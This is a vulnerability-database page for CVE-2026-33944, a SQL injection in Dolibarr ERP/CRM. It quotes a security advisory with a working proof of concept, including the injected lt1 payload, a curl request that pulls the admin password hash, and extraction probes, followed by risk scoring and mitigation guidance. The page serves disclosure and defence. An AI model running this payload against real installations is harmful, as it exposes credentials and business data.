CVE-2026-33944

HIGHPre-NVD 8.88.8
EchelonGraph scoreHIGH confidence

“—” beside the score: it is equal to the CVSS score beside it.

Score 8.8 from GitHub Security Advisory (severity: HIGH) published 2026-10-27. The CNA's CVSS baseline 8.8; sources differ by 0.0.

Triggered by: GitHub Security Advisory CVSS
Sources: the CNA's CVSS, GitHub Security Advisory

Also known asGHSA-v5fq-cf5m-vwv7 (GitHub Security Advisories)

8.8EG
EchelonGraph verdictPlan mitigationNo fix is confirmed yet: check the vendor's advisory for a fixed release; until one is applied, restrict network exposure of the affected system or apply the vendor's mitigation on your normal schedule (the SSVC decision on this page).
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: —CVSS: 8.8Exploit: None knownExposed services: Not assessed

No fix is confirmed yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for the fix.

Dolibarr has SQL Injection in societe/class/societe.class.php via localtax1_value parameter

Summary

A SQL Injection vulnerability exists in the Third Party (Company) update functionality of Dolibarr ERP/CRM. The localtax1_value parameter (lt1) is concatenated directly into an SQL UPDATE statement in societe/class/societe.class.php at line 1672 without any escaping, type casting, or parameterized query binding.

An authenticated user with standard "Third Party: Create/Edit" permission can extract any data from the database, including password hashes, API keys, and all business data.

Tested on Dolibarr v23.0.0 (latest stable), default installation via official Docker image, MariaDB 10.11. No custom modules, no modified configuration.

### Details

Vulnerable code (societe/class/societe.class.php, line 1672):

$sql .= ",localtax1_value =".$this->localtax1_value;

The value comes from GETPOST('lt1', 'alpha') (societe/card.php, line 1135). The only sanitization applied is trim() at line 1528 — no (float) cast, no $db->escape().

The alpha input filter strips HTML tags and double quotes but does not strip single quotes, parentheses, commas, or SQL keywords. Since the injection point is in a numeric SQL context (no quotes around the value), the attacker needs none of the filtered characters.

Why the WAF does not block this: Dolibarr's WAF (waf.inc.php) only checks SQL injection patterns in GET parameters, not POST. The POST-based lt1 parameter bypasses it entirely.

The same vulnerability exists for localtax2_value (parameter lt2) at line 1682.

Adjacent fields like localtax1_assuj are properly cast to (int), showing the developers were aware of injection risk but missed these fields.

### PoC

Steps to reproduce:

  • Install Dolibarr v23.0.0 (tested with official Docker image, MariaDB 10.11)
  • Log in with a user that has "Third Parties: Create/Edit" permission (standard user, not admin)
  • Create or open any existing Third Party (company) record
  • Click "Edit" on the company card to open the update form
  • Intercept the POST request (e.g., Burp Suite) and add these parameters to the request body:
  • localtax1assuj_value=1
  • lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)
  • Submit the form (server responds with HTTP 302 Found — successful update)
  • Navigate to the company's Notes tab — the admin's MD5 password hash is now visible in the "Private Note" field

Verification: echo -n "admin123" | md5sum → 0192023a7bbd73250516f069df18b500 (matches exfiltrated hash).

Figure 1 — Notes tab before exploitation (Private Note field is empty):

Figure 2 — Burp Suite Repeater: full POST request headers and HTTP 302 Found response:

Figure 3 — Burp Suite Repeater: request body with injected localtax1assuj_value=1 and lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1):

Figure 4 — Notes tab after exploitation: Private Note now contains 0192023a7bbd73250516f069df18b500 (MD5 hash of admin password "admin123"):

curl PoC:

curl -b cookies.txt \
    --data-urlencode "action=update" \
    --data-urlencode "token=CSRF_TOKEN" \
    --data-urlencode "socid=1" \
    --data-urlencode "name=TestCompany" \
    --data-urlencode "status=1" \
    --data-urlencode "localtax1assuj_value=1" \
    --data-urlencode "lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)" \
    --data-urlencode "client=1" \
    --data-urlencode "typent_id=0" \
    "http://TARGET/societe/card.php?socid=1"

Additional proof — arithmetic evaluation: Sending lt1=3+4 results in localtax1_value=7.0000 stored in the database. The expression was evaluated by the SQL engine, confirming injection.

Additional proof — user count exfiltration: Sending lt1=(SELECT COUNT(*) FROM llx_user) results in localtax1_value=1.0000.

### Impact

An attacker with basic "Third Party: Create/Edit" permission (standard user, not admin) can:

  • Read any data from the database (password hashes, API keys, customer/supplier data, invoices, bank account details)
  • Modify any database record via additional SET clauses in the UPDATE injection
  • Escalate to admin by cracking MD5 password hashes (Dolibarr uses unsalted MD5 by default)
  • Potentially achieve RCE via admin features (Website module PHP injection, ModuleBuilder) after privilege escalation

### Suggested Fix

// societe.class.php, line 1528 — add (float) cast:
  $this->localtax1_value = (float) price2num(trim($this->localtax1_value));

// societe.class.php, line 1672 — add (float) cast: $sql .= ",localtax1_value =".((float) $this->localtax1_value);

Apply same fix for localtax2_value (lines 1529, 1682).

### Credit

Please credit this finding to: Grzegorz Tworek (F3715H) sec4check (grzegorz.tworek@sec4check.pl)

### References

A detailed write-up will be published after patch release at: https://www.sec4check.pl/blog/posts/cve-dolibarr-sql-injection-localtax-third-party.html

We kindly request including this URL in the CVE references.

CVSS v3
8.8
EG Score
8.8HIGHhigh confidence
EG Risk
40
EG Risk 40/100

EG Risk is EchelonGraph's 0–100 priority score. It fuses impact severity (EG Severity, the CVSS base score, never the KEV-floored or EPSS-lifted EG Score) with real-world exploitation and automatability, under weights EchelonGraph set by hand, so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner.

How it’s computed (value × EchelonGraph’s weight)
Severity88% × 45%
Impact severity (EG Severity): CVSS 8.8 of 10. Never the KEV-floored or EPSS-lifted EG Score.
Exploitation0% × 40%
No KEV listing, EG-KEV tier or EPSS when EchelonGraph scored this CVE.
Automatability0% × 15%
CISA's BOD 26-04 default: no one has published Automatable for this CVE, and CISA treats it as “no” for a CVE not in KEV.
SSVC (CISA's decision table, applied by EchelonGraph): Track at low or medium mission impact; Track* at high (mission-essential systems).
Exploitation none (no CISA value, KEV listing or exploit code on record) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). EchelonGraph holds no SSVC assessment of this CVE from CISA: none of these inputs is from Vulnrichment. EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE.
Action: No fix is confirmed yet. Check the vendor's advisory for a fixed release; until one is applied, restrict network exposure of the affected system or apply the vendor's mitigation on your normal schedule.
EPSS PROB
—
EPSS %ILE
—
KEV
Not listed

What the EG score is made of (scorer v4.0: the three questions the 0–10 score mixes, published apart · methodology)

The EG score (8.8): severity, escalated by confirmed exploitation. This CVE's 8.8 is its impact severity (EG Severity), not escalated.

EG Severity
8.8 HIGHCVSS-B, impact only: no KEV listing, EPSS or EG-KEV tier raises it.GitHub Security Advisory CVSS
EG Likelihood
Unknown (no EPSS on record)Unknown, not low: FIRST has published no EPSS probability for this CVE.
Confirmed exploitation
None on record (CISA KEV, EG-KEV Tier 1)Reported apart from the likelihood: an observed fact, not a probability.
EG Priority
SSVC Track at medium mission impactTrack at low or medium mission impact; Track* at high (mission-essential systems).CISA BOD 26-04: 14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.No released fix is confirmed on this page, but CISA's timeline does not wait for a fix's release: it starts when an agency identifies the flaw on an asset and updates the CDM Agency and Federal Dashboard, and the directive counts patching, decommissioning the system or another action as remediation. Until a fixed release is applied, mitigate as this page's verdict says. In the directive's words, “Fix on system upgrade” means that, “unless conditions change”, the vulnerability “should be remediated the next time the vulnerable asset receives a scheduled major upgrade or rebuild”: its timelines are “dynamic as facts change”, and a KEV listing shortens them.Each input and its source, and whom BOD 26-04 binds: the SSVC and BOD 26-04 blocks below.

SSVC (CISA's decision table, applied by EchelonGraph)Track at low or medium mission impact; Track* at high (mission-essential systems).

No fix is confirmed yet. Check the vendor's advisory for a fixed release; until one is applied, restrict network exposure of the affected system or apply the vendor's mitigation on your normal schedule.

Exploitation none (no CISA value, KEV listing or exploit code on record) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). EchelonGraph holds no SSVC assessment of this CVE from CISA: none of these inputs is from Vulnrichment. EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE. Mission impact is CISA's Mission & Well-being decision point, and only you can judge it. CISA's table makes it high when Mission Prevalence is Essential — the vulnerable component "directly provides capabilities that constitute at least one MEF for at least one entity" (MEF: mission essential function) — or when Public Well-Being Impact is Irreversible: "multiple fatalities are likely", the cyber-physical system "is likely lost or destroyed", "extreme or serious externalities" are imposed on other parties, or social systems such as elections or the financial grid "are destabilized and potentially collapse". CISA's decision table

BOD 26-04 (CISA's remediation timeline, Table 1)14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.

No released fix is confirmed on this page, but CISA's timeline does not wait for a fix's release: it starts when an agency identifies the flaw on an asset and updates the CDM Agency and Federal Dashboard, and the directive counts patching, decommissioning the system or another action as remediation. Until a fixed release is applied, mitigate as this page's verdict says. In the directive's words, “Fix on system upgrade” means that, “unless conditions change”, the vulnerability “should be remediated the next time the vulnerable asset receives a scheduled major upgrade or rebuild”: its timelines are “dynamic as facts change”, and a KEV listing shortens them.

The score's inputs: In CISA KEV no (CISA's KEV catalog) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). Where an input reads “CISA's BOD 26-04 default”, no one has published it for this CVE, and CISA's implementation guidance says: “If “Automatable” and “Technical Impact” information items about a CVE ID are not available and the CVE ID is not in the KEV Catalog, CISA will treat its values as “no” and “total,” respectively, until CISA or a third party provides metadata about the CVE ID. CISA will always provide the Vulnrichment data for a CVE ID listed in the KEV Catalog.” Whether your system is publicly exposed is yours to answer. BOD 26-04 binds US Federal Civilian Executive Branch agencies; for anyone else it is CISA's published timeline, a reference rather than an obligation. The directive · how EchelonGraph applies it

Published

October 27, 2026

Last Modified

October 27, 2026

Vendor Advisories for CVE-2026-33944(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Patch Availability(1)

Vendor / EcosystemFix (by version range) / PatchReleasedSource
composerdolibarr/dolibarr—ghsa

Patches are aggregated from vendor advisories (Red Hat, Microsoft, Cisco, GitHub) and package ecosystems (OSV, GHSA). Multiple rows for the same upstream release have been deduplicated.

Weakness Classification(1)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 2× in last 7d / 2× in last 30d)

Each row is a time one of our pipelines fetched, updated or re-scored this CVE. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. An arrow marks a change the record states ("CVSS v3 → 9.1"); EPSS and GHSA rows show the values recorded at that time, not what changed (EPSS values are rounded; hover one for the exact figures). Most recent first.

  1. 2026-10-27 13:42 UTCEG score recomputeFirst assessed: 8.8 HIGH
  2. 2026-10-27 13:42 UTCGHSA enrichmentGHSA-v5fq-cf5m-vwv7 · GitHub severity HIGH · GitHub CVSS 8.8

Frequently asked(4)

What is CVE-2026-33944?
CVE-2026-33944 is a high-severity vulnerability; its CVE record was published on October 27, 2026. Dolibarr has SQL Injection in societe/class/societe.class.php via localtax1_value parameter Summary A SQL Injection vulnerability exists in the Third Party (Company) update functionality of Dolibarr ERP/CRM. The localtax1_value parameter (lt1) is concatenated directly into an SQL UPDATE statement…
When was the CVE record for CVE-2026-33944 published?
The CVE record for CVE-2026-33944 was published on October 27, 2026. That is the record's publication date; the vulnerability itself may have been made public earlier. EchelonGraph's copy of the record carries a last-modified date of October 27, 2026; the record at its source may have been updated since.
What is the CVSS score of CVE-2026-33944?
CVE-2026-33944 has a CVSS base score of 8.8 (the CNA's own assessment, by github_m; NVD's own analysis pending).
How do I remediate CVE-2026-33944?
No fix for CVE-2026-33944 is confirmed yet. Until one is published, restrict network exposure of the affected system or apply the vendor's mitigation — for example, keep it off the internet or limit it to trusted networks — and watch the vendor's advisory for the fix. The vendor advisories EchelonGraph has for CVE-2026-33944 are linked in the Vendor Advisories panel on this page.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-33944

Explore →

Is Your Infrastructure Affected by CVE-2026-33944?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.